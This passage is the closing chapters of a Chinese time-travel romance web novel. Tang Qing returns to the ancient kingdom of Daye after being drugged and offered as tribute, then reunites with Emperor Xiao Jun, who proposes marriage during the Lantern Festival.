关棠眨眨眼,他今天出来特意打扮过,头发抓得恰好到处,衣服都是手工定制的,将他本来就很好的模特身材衬托得更加优越。 这几年关棠的性格慢慢稳定下来,收敛不少风流公子的脾性,有时候为了让唐青看到他的转变,有意减少主动联系的频率,想让唐青觉得他可靠稳重。 然而现实告诉他,即使主动,唐青也实在太难联系上了。 他上次被拒绝以后,本来都打算放弃了,怕唐青认为他死缠烂打,可这次出来吃饭,心里的想法又开始蠢蠢欲动。 走到小区楼下,关棠看着唐青的眼睛,说:“可以再给我一次机会吗?每次看你孤孤单单的住院,我都很想照顾你。” “唐,给我一个照顾你的机会可以么?” 唐青曾经给过关棠这样的机会,可惜在他们还没开始的时候,关棠就犯了一次错误。 唐青有些好笑和无奈,这两天总有人说要照顾他,先是顾雪,再到关棠。 但他不需要他们的照顾,而且…… 他已经有了照顾自己的人了,他也答应了萧隽。 他轻声拒绝:“抱歉。” 关棠满脸颓丧,十分后悔之前醉酒亲别人,还把人带回楼下的事。 自那以后,除了工作需要,他很少再去声色场合,但这些话不敢和唐青说,多说几次,听起来就像狡辩一样。 唐青说:“就送到这里,你回去吧,路上注意安全。” * 和关棠分别,唐青回到公寓后天色已经彻底暗下。 他把窗帘都落下,房里只留了一盏感应小夜灯。 唐青什么都没做,先在沙发里出了会儿神,随即用手机给关棠发了条消息,告诉对方自己准备换个地方住,以后有缘的话会再联系。 发完微信,他把手机关机走去浴室。 洗完澡将近十点了,唐青擦拭着残留些许水珠的头发,视线落回床头的云雀弩上。 拒绝了顾雪的弥补和关棠的心意,唐青没觉得有什么遗憾的。 过去的他活着就如浮萍,水流到哪里,他就在哪里生存,渺渺茫茫的,不知道自己活着的意义。 与顾雪和关棠说清楚以后,他甚至感觉和现代世界最后的一丝联系完全断了。 他想萧隽,想起在大邺经过的一点一滴,可他还有机会回去么? 唐青不清楚。 他没抱希望地握上云雀弩,心里默念萧隽,想着大邺的一切,再睁眼,依旧是他的卧室。 唐青失望。 时钟的时针慢慢走过十二点,到了深夜,黑暗像巨网侵蚀着他的内心。 唐青握着弩机足足僵坐了一个小时。 他打量周围熟悉又陌生的环境,想到以后再也不能见到萧隽,绝望和痛楚慢慢揪着心脏,扯得他有了流泪的冲动。 他已经分不清哪里是真的哪里是假的,思绪错乱间,眼前蓦然浮起当时自己两次穿越的景象。 他心口一窒,捏着云雀弩的指尖颤抖,重重地按在了开关的环扣上。 开关启动,一团白光刺入眼帘。 唐青反射性闭起双眸,身体浮空,又沉沉地坠落,仿佛掉入浩瀚无边的白色深渊里。 *** 永朔十年初,兖州稗县大雪。 一支从夷越前往邺都朝贡的队伍就地驻帐修整。 督监使正准备去见三王子汇报公事,却见巡视的一名下属匆忙来报,说是营帐附近的雪地里,有个人昏迷了。 督监使八字浓眉一竖:“这等小事也来浪费本官的时间?” 夷越军支支吾吾地比划了一下:“那人头发那么长,生得比夷越第一美人还要美……” 督监使以为下属喝醉了,将信将疑地过去查探。 昏迷的人已经被送到营帐里,督监使入帐后猛地揉揉眼睛,看着榻上那人就跟看见天山上的雪莲花一样,嘴巴微微张开,痴愣半息,脑子很快转了转。 此行他们来到邺都,一为朝贡,二则借此时机,恳请大邺皇帝派兵,帮夷越平定边关之乱。 为此贡品里除了珍宝,还有夷越数一数二的美人。 是他疏忽大意,美人不分男女,这次进贡的美人中,还没有男子呢。 打量这名雪地里捡来的男子,督监使打起了另外的计划。 听闻大邺皇帝后宫悬空,有没有可能皇帝不喜欢女子,而是喜欢男子呢? 又听闻,大邺皇帝近三个月全境寻人,寻找的恰是一名男人。 若把这名男子进献给皇帝哄得圣颜一展,他们的计划岂不是多了几成把握? 督察史心生计策,道:“吩咐下去,取几件漂亮的衣裳给他换上,再让几个姑娘给他打扮打扮。” 第143章 第 143 章 唐青醒了有好一会儿。 此时他身处毡帐内, 身上盖着褥子,不远处置了个火盆,炭火源源燃烧, 驱走雪夜里的寒冷。 帐帘一动, 一名女子拎着水囊进来, 帘外带入几抹飘雪, 她连忙把帐帘合起。 唐青静静望着对方, 女子将水囊递给他:“喝。” 虽搭建帐篷, 架起烤火盆, 榻上的床褥更是一应俱全,可到底是腊月节气,处处飘着大雪, 天寒地冻,寻常人可抵不住这样的严酷气候。 唐青接过水囊,里面装着牛乳,乳汁温过, 飘出丝丝绵绵的甜味。 慢饮过半, 唐青觉得身体里暖和几分, 一双温和漂亮的桃花眸弯了弯,朝对方以示谢意。 女子微微害羞:“公子不必客气。” 女子一口大邺官话生涩别扭,不似大邺出身的百姓,五官像夷越那边的。 再观她衣着华美,布料上乘,行为举止皆较普通士族有些不同,唐青猜测, 此人理应与夷越王族相关。 在没有完全掌握当前形势之前,唐青并未自报身份, 而是选择不动声色的观察。 所幸女子给他送了几件衣物和牛乳后就离开毡帐,留给他独自思考的环境。 唐青分析眼前景象。 他所处的地方应该在大邺,夷越自西南入关,依照大邺这几年开设的主要交通要塞推测,如今下雪,很有可能过了岭南山脉,至少处在陇州境内。 唐青再次庆幸自己没落在其他国家或是荒无人烟之地,若非夷越人救了他,他不省人事地在雪地里昏几个时辰,性命只怕不保。 余光扫向帐篷内的唯一一张矮桌,他过去拿起放在上面的云雀弩,弩机散发浓重的黑焦色,出现的裂痕彻底贯穿裂开,成了一把废弩。 握着几乎碎坏的弩机,唐青隐有预感,这次再穿到大邺,他再也没有机会回到现代了。 耳畔不禁浮起摆摊老头儿的话,当时对方告诉他,机会只剩一次,让他从心而定,指的可是他再穿回来的事情? 对方究竟是什么人…… 唐青想了许久都想不明白,只好顾及身子先行休息,等找机会见到萧隽再另做打算。 翌日,天亮不久雪就停了。 白雪覆过千万重山岭,唐青站在帘后静静观察四周,不多时,外头来了人。 他退回榻边坐好,入帐的是两名男子。 为首的男子约莫二十出头,着王族服饰,目光纯透。另一名约莫四十,督监使的官服,八字浓眉,周身俱是老道的气息。 夷越每年都会派出王室和使者来大邺朝贡,唐青在宫宴上见过几次,对这二人没什么印象。 督监使把唐青上下打量了一遍,满意的点点头,道:“这是我们夷越三王子,还不拜见?” 唐青起身:“见过三王子。” 又朝督监使拱了拱手:“见过大人。” 督监使与三王子对视一眼,道:“你在雪地里昏迷不醒,是我们救了你,给你帐子住,还给你吃穿。” 唐青再次言谢。 督监使盯着他:“我们三王子心地宽善,救了你,不要你的钱财报答,只需公子帮我们一件事,可成?” 唐青默不作声,督监使道:“公子气度不凡,出自何地?” 唐青:”家里在邺都做点普通生意。” 督监使:“我们此行入宫进贡,向皇帝进献珍宝和美人,本官瞧公子容貌不俗,不禁有了成人之美的念头。公子不若借此机会与我们一道进宫,若得皇帝青睐,也算一朝飞上枝头,若无机缘,再另行离开,可能答应?” 唐青好笑不已。 这夷越督监使,看似商量给他机会让他进宫攀枝,实则口吻不容置喙。 也借此举,唐青看出夷越国为讨萧隽欢心有些不择手段,想来有紧要事相求。 衡量一二,唐青微微点头。 当前处境特殊,又天落大雪,他孤身一人,若要去往邺都实在困难,只能借这支队伍的便利。 督监使见他如此好说话,对他展颜笑了笑,点了两名奴婢伺候他。 * 如此,唐青跟着夷越朝贡的队伍越过兖州境地,前往王城邺都。 到了城邑,每日都有人送热水,唐青按着要求日日沐浴更衣,除了人身自由被限制,吃穿倒未短缺。 七日后入了王城,一行车辆通过城门,直奔皇宫方向。 唐青此时靠在马车里,不久前被贴身照顾的婢女迫使地换了身衣裳。 这身衣裳轻薄贴身,半敞胳膊和肩膀,连腰肢也露了小半截,腰肢还用宝石环佩点缀,很有风情。 他面上已叫丫鬟们敷了粉,如缎披散的发丝用乳香熏过,浑身散着股甜丝丝的气息。 这样的打扮比不上其他美人曼妙妍丽,可也没好到哪里。 唐青无奈。 许是怕他紧要关头后悔,今日给他的食物里,竟掺加软筋散,又叫护卫点了他的哑穴。 这行人看似对他好吃好喝的照顾,实则要他做什么时,都带着强硬的态度,容不得他说不。 眼看马车过了玉河桥,越临近皇宫,他的心脏跳的愈发急速。 桥边两侧结冰,河面如冰晶玉床,别有一番景致。 唐青无心欣赏,他们一行“贡品”很快过了查验,被禁卫军送往大殿。 * 昭阳宫内,萧隽宣见夷越使者。 近几日连降大雪,念夷越出使的一行队伍进都不易,萧隽稍作慰问,夷越三王子和督监使喜笑颜开,称赞大邺恩威后,又连忙介绍了此行进贡的珍品。 贡品一箱箱被禁卫军抬上殿内,在大臣们暗暗唏嘘时,督监使又道:“皇上龙颜威重,使万民敬仰。自古以来皆有美人配英雄的佳话流传,此行入关,臣下为皇上送来夷越万里挑一的美人,还望博得皇上展颜。” 督监使拍了拍手,很快,禁卫军领着十几名曼妙婀娜的身影往大殿走。 还未踏入宫门,却见萧隽长眉一挑,适才还算“温和”的气场完全变了,周围的官员抖了抖身子,为夷越使者默默祈祷。 要知道,他们前几年因为给皇上“说媒”,遭了多少惩罚。 萧隽冷笑,走下金銮宝座,取出边上的裂天弓。 此弓为神兵,可因饮血甚多,气势极煞。 只见萧隽漫不经意持起裂天弓,夷越使者皆倒吸冷气。 “皇、皇上,臣下并非……” 霎时间,如烈焰急骤射出的箭矢叫周围的官员跪了一地。 被带入殿门的美人们也抖着胳膊趴下。 唯独中了软筋散,四肢迟缓不便的唐青没能及时反应。 偌大寂静的昭阳宫内,除了萧隽,唯剩唐青伫立,隔着脸上的轻纱静静与其相望。 萧隽目光一冽,紧接迟疑,随之疾步来到殿门后。 唐青一把被萧隽攥住胳膊,桎在腕子的大掌颤抖,二话没说地扯下他的面纱。 四目相对,萧隽眼瞳震动。 “青儿?!” 四周低头跪地的官员们闻声抬头,瞬间哗然。 “是唐侍郎……” “为何侍郎会在这里……” 萧隽当即把唐青打横抱起,抛开所有人。 他抱着唐青的手臂剧烈颤动,但力气重得叫唐青忍不住扭曲了脸色。 他张了张唇,发不出声。 萧隽见此,手指点了两下,解开他的哑穴。 唐青被萧隽箍得痛,嗓子也干涩难受。 周围的景致飞速倒退,一直到了颐心殿里,他目不转睛地看着萧隽,神色怔恸,眸底早已含了湿润的水光。 他忽然开口:“萧隽,我没有家了,再也回不去了。” 萧隽一顿,将他放在旁边的梨花桌案上,拥紧了,掌心落在他背后拍了拍,不知如何是好。 半晌,才喑哑着回道:“胡说,孤在这里,这儿就是你的家。” ‘青儿,你终于回来了……’ 【正文完】 第144章 第 144 章 颐心殿地龙不熄, 萧隽拥了唐青许久。 二人似有万语千言,可历经再次分别与重逢,此刻想说的俱化为虚无, 不如肢体上的接触来得实际。 唐青身子微微发热, 收在腰肢的掌心只紧不松。他腰侧环有宝石玉饰, 萧隽每抱一下, 饰物便碰击出清脆的响声。 “陛下, ”唐青欲言又止, 却也没推开对方, 而是用指尖在萧隽肩膀很轻地挠了一下,“可以先松开我了。” 萧隽几乎将他压在梨花圆桌上,抱的力道太重, 勒得他骨头疼。 闻言,萧隽如梦方醒,不由放轻力道,只将他拥揽在怀中。 萧隽嗅着唐青发间丝丝绵绵的乳香, 余光从半露的雪色肩头滑至腰肢, 瞳孔隐露炙热, 脸色却沉得能滴出墨。 “他们给你穿的什么衣裳。” 唐青低头打量自己,无奈间忽地莞尔,道:“此事说来巧合,我就长话短说吧。” 于是将自己穿越回来意外昏迷,夷越人把他从雪地里捡走,又和他“商量”的事据实托出。 萧隽冷道:“他们好大的胆子。” 唐青:“事出有因,此举他们的确做得不地道, 可也是有求于大邺。” 他打量萧隽的神情,指尖抚上微锁的眉峰。 萧隽低头, 好叫他摸得更方便。 “青儿。” 说着,把他抱起往御榻方向走:“孤不想和你议论外人。” 放唐青入榻后,萧隽拿起叠放的里衣,掌心穿过他的腰肢,取下环带的宝石玉饰,又褪了夷越式衣物,给他穿上柔软丝织的月色小衣。 萧隽半俯身躯,始终凝望他,虽未开口,目光却涌露诸多情绪。 三个月来的惊痛和担忧叫他日夜煎熬,亲眼看着唐青从眼前消失,他身为一国之君,掌弄天下,却束手无策。 他能做的,唯有等待,萧隽更怕等不回怀里的这个人。 替唐青系好小衣后,隔着层如水软滑的料子,他亲吻唐青的肩侧,额头抵着他的脸颊。 唐青胳膊一伸,半躺着,指尖环过萧隽的面庞,眸色有些动容。 “陛下。” 萧隽低声道:“回来就好。” 唐青弯了弯唇畔,又想起方才昭阳宫一团遭乱的景象,说道:“陛下抛开殿中那群人恐怕不妥。” 萧隽:“交给周相主持局面。” 唐青“唔”一声,紧接唇边一暖。 萧隽吻着他,饱含缱绻隐忍的怜惜:“孤让人送些热汤进来,喝一点再睡。” 唐青奔波好几日是有些累,加上与萧隽再见,心绪产生波动,此时靠在对方怀里,浑身暖融融的,指尖也不想抬了。 他唇角的弧度愈深,漆黑长睫缓缓沉下。 半梦中,萧隽似给他喂了东西,唐青含糊喝了些,又很快继续落进黑甜的梦境。 ** 再睁眼,邺都正飘着一场大雪。 唐青有些慵懒地蜷在被褥里,眸子还未完全掀开,腰肢一紧,叫身后的萧隽纳入怀里,严丝合缝地贴着拥揽。 他有些诧异,温顺地贴在对方温热的胸膛上,问:“陛下一直守在这儿?” 萧隽不置可否,握起唐青的手腕,五指相扣,说道:“外头候着御医,让他们给你号号脉。” 唐青眯起眸子浅笑:“当时我爆发了心肌炎,也就是心疾其中一类的病症,所幸回到现代得到及时的手术抢救,已经恢复了。” 萧隽嗅着他,又细细注视,再次把他翻来覆去地看了一遍,才微微定神。 又道:“还是让御医再诊一诊。” 唐青笑道:“好。” 他转了个角度,几乎团在萧隽怀里。 二人交颈共枕,低低说了会儿话,间或夹着些拥吻。 唐青唇瓣濡湿,润红柔软,他往萧隽肩膀抓了一记,萧隽错开距离,让他张着唇呼吸。 看着,又往下低了头,吻他的颈,鼻峰抵蹭,似要贴入细腻的皮肉里不断嗅取气息,掌心也将那件裹着身子的月色小衣不住搓揉。 到底是怜惜唐青,萧隽只拥着他不住亲吻,充满爱意的抚摩。 唐青长久积劳,又爆发式的病了一阵,病去如抽丝,这会儿元气还没完全恢复,萧隽舍不得折.腾他。 又过良久,唐青起来用了膳食。 夜色悄至,两人入了汤泉里共浴,约过一刻钟,萧隽抱他回了榻前,为他把肌肤上的水珠悉数抹净后,揽他躺回枕上。 相逢后,萧隽就没有离开过唐青身边,总归还残留几分不真实的感觉。 唐青心里一酸,倚在对方健实温暖的胸.膛上。 “陛下,我当真回不去了,这几回穿越的契机,都与你送的那支云雀弩有关。” 萧隽皱眉:“何意?” 唐青腹中斟酌一番,道:“有天我沿街游逛,遇到一名算卦的老者,对方嘱咐我勿要泄露天机,还告知我只剩一次机会。” “对方留下话后就匆忙离开,怎么都寻不见踪影。” 萧隽收紧拢着唐青的手臂,脸色阴沉。 唐青见他如此,很快安抚道:“那支弩机已经彻底破损,我有预感,不会再穿回现代了。” 说着,又问:“陛下,当时给我打造弩机的师傅,长得什么模样?” 萧隽缓慢收回理智:“孤不曾见过对方。” 他们彼此对视,唐青幽幽眨眼,轻叹一声。 “算了,不纠结这个了,此事玄妙,若过度纠结只怕……” 萧隽沉沉“嗯”地应下。 天机不可泄露,若再度发生无法挽回的意外…… 萧隽怕消失的那一幕再现,不敢拿唐青去赌。 “陛下打算如何处置夷越使团?”唐青暗忖,毕竟事情与他有些关联。 萧隽微眯淡色双目,显然不是很想轻易放过。 唐青主动捏了捏覆在腰前的掌心:“此事可大可小,他们的手段不甚光彩,可也的确救了我。夷越国有事相求,不如顺着他们的求人的态度选个时候应下。” 在萧隽开口前,又道:“夷越国矿产丰富,何不借此机会……” 萧隽吻了吻他的唇角,吞没他的声音。轻吻之际,掌风一扫,宫灯熄灭,余下夜明珠浅淡莹润的微光。 “孤自有考量,青儿当前只需养好身子,旁的事交给别人操劳。” 唐青含糊地应了声,又轻轻哼气,几乎是被萧隽吻得迷迷糊糊地入了梦境。 * 又过几日,风雪断断续续,王城倒是热闹不减,积着茫茫厚雪的道上时常飘过炮竹的灰烬。 上元节将至,唐青回来后一直住在颐心殿,兰香也被接到了身边。 这日午后服完药,他沿附近的观景园走了几圈活动筋骨,待回了大殿,发现萧隽已经散会过来了。 不过对方没有立刻寻他,而是在寻另外的东西。 他问:“在找什么,何不让宫人帮忙?” 萧隽回头定定看了他一眼:“找着了。” 唐青越过长案,发现对方手里拿着那支彻底损坏的云雀弩。 萧隽:“孤收着它。” 唐青思绪一转,隐隐猜出此举意图。 他放轻声音,说道:“子深,我不会再离开了。若是收好弩机叫你安心,便收着吧、” 萧隽喉结滚了滚,紧握他的手:“好。” *** 三日之后,正值上元佳节。 宫里举办盛宴,百官参赴,同乐同庆。 唐青因失踪了三个月,借着此日,向他关怀问候的官员陆续来了一波又一波。 萧隽入殿后见此情形,担心他被扰得烦闷,便将他留在身边的位置。 席下噤声,没胆再围上御前。 唐青眉眼带笑,轻声说道:“不妨事的,大家都是出于好意。” 萧隽:“孤不许他们扰你清净。” 唐青“唔”一声,以只有二人的声量开口:“你是皇帝,听你的。” 萧隽眉峰缓和,目光里透着柔情:“孤听青儿的。” * 当夜宫宴结束,萧隽又带唐青去了老马那处吃宵夜。 老马备了满桌冀州风格的大菜,热情地招呼他们坐下。 唐青与萧隽对坐,饮些清茶,尝些热乎乎的宵夜,随后又去了院里放鞭炮和烟火。 绚烂斑斓的流光下,唐青半张脸裹在毛绒绒的围脖里,露出的眉眼潋滟温柔,微微仰着头,观赏头顶的烟花。 萧隽递给他一个物件,唐青把揣在袖口里的手伸了一只出来,摸了摸,又掂了掂,诧异道:“好重的红封。” 萧隽:“年年今日,岁岁今朝。” 唐青有些赧着脸:“我都这么大了,还给我发压岁钱么。” 萧隽把他揽入屋内:“都有。” 怕外头凉着他,萧隽不敢让他多吹风。 唐青倒是兴致盎然,握住萧隽的手往袖口里揣,包裹他的掌心十分暖和,带着粗茧的指腹在他手心刮了几记。 唐青手痒,却没避开。 “去街上走走吧,外头很热闹。” 王城不设宵禁,到了上元节,更是热闹非凡。 街上铺子林立,彩灯如火,冰雕随处可见。游客行人裹着棉袄四处游逛,多数都往庙会的方向涌去。 萧隽稳稳牵着唐青,他们与人潮反向徐行。 彩灯转动时闪烁的流光映在唐青眉眼,他始终笑盈盈的,眼波里透着光,萧隽牵他往哪里走都不拒绝。 渐渐地,额头有些凉。 他们离人潮有段距离,四周除了偶尔响起的吆喝,只余风夹着雪花散落的声响。 唐青驻足:“下雪了……” 萧隽低头看着他:“嗯。” 此时朱雀街上飘降的雪花越来越大,游客都不曾离开,反而站在各处淋着雪,与身边的友人说话,头发不一会儿就白了。 白雪如絮,唐青望着头顶的雪花,瞥见萧隽发顶也白了。 他抿唇笑了笑,想说点什么,话到嘴边,却不知如何开口,只好紧紧牵住萧隽的手。 已经记不得来到大邺多久,身若浮萍,他站在大邺的土地上,伫立在王城的街头,看着身边的萧隽,有种落地生根的恍惚感。 往事如烟,回想过去时,觉得那是很遥远的时候了,就像散去的上辈子。 这辈子的他俱已放下,重新再来,望着面前目光里始终只有自己的男人。 萧隽注视着雪下美若神祇的青年,心头一悸。 “青儿?” 怕他再次离奇地消失于眼前,便伸手牢牢抓住。 唐青低头看着对方紧抓自己的手掌,笑了一下。 天地之间,只有他们。 萧隽被唐青看着,心口震跳得厉害。 他滋生心念,很想留住眼前的人,留到永远。 喉头一紧,他沉声开口,一字一字地道。 “孤以江山为聘,天地做媒。” 唐青抬眸,眼眶里泛起些潮湿的水光,静静望着。 “唐青,孤心悦你,此生唯你足矣,你……可愿留在大邺,留在这个时代做孤的君后?” 唐青久久不语,直到风雪似乎消止住,萧隽面孔僵硬,却仍站得很稳。 他紧了紧嗓子,那句没关系咽在嘴边,心里有些失落,可瞧见唐青发上落了雪,依旧耐心地替他拂去。 就是这时,唐青握上萧隽的手腕,慢慢他的掌心按在心口前。 萧隽眉目震诧:“青儿……” 唐青弯弯唇角,哑道:“我既心有所属,便在此处落地生根。” 萧隽不等他说完,托着他将他抱起,眉眼绽开浓烈炽热的笑意。 “青儿?!” 似是不敢相信,抱着唐青转了好几个圈。 唐青双手扶在萧隽的肩头上,一时间只觉天地旋转,四周寂静,双眸眩晕。 萧隽将他放下,素来傲然孤高的帝王低了头,拥着唐青,往他发端蹭了蹭。 “……孤失控了。” 唐青未恼,他始终含着笑,还带着些泪,把剩下的话继续说完。 “子深适才所言,我自是愿意的。” 就让这一刻的天地夜色与风雪,为他们做个见证吧。 ——正文完——